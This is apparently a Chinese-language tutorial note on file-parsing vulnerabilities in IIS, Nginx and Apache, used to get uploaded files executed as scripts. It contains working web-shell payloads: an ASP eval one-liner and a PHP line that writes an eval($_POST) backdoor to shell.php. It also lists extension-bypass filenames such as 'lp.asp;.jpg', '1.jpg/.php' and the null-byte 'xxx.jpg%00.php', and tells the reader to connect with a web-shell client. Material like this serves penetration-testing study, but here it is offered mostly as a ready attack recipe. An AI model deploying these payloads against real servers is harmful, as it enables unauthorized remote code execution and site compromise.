CGI解析文件漏洞
文章目录
1.IIS 5.x~6.x中
这几个版本中,.cer,.asa,.cdx文件是使用asp.dll解析的那么就可以绕过
木马:
<%eval request("a")%>
我们可以尝试着上传一个后名为 lp.asp;.jpg文件,使用蚁剑连接;可以连接成功。
原理,windows在由左向右读取文件时第一个获取到的后缀就是文件类型,系统就会调用相对的组件运行。
可用后缀名:
.asa
.cer
.asp;.jpg
.asp;jpg
.cdx
.asp;.png(待测试)
.asp;.gif(待测试)
创建一个1.asp文件夹,该文件夹下的文件均会被当作asp文件处理
2.IIS 7.0~7.5 nginx8.0.3以下,nginx11
在以上版本中,均存在着url文件解析漏洞例如,/1.jpg/.php ;实际上是将1.jpg当成了1.php文件执行。
不过这个漏洞不能直接连接,不过既然能够执行php,那么我们生成一个shell.php就可以
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
3.Apache解析漏洞
Apache解析文件规则是从右向左开始解析,如果后缀名无法解析就会继续向左判断。例如,1.php.ra.owf
最终会被解析为1.php。如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个sec.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
•漏洞形式
•www.xxxx.xxx.com/test.php.php123
•其余配置问题导致漏洞
•(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
4.Nginx <0.8.03 空字节代码执行漏洞
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.jpg%00.php
来执行其中的代码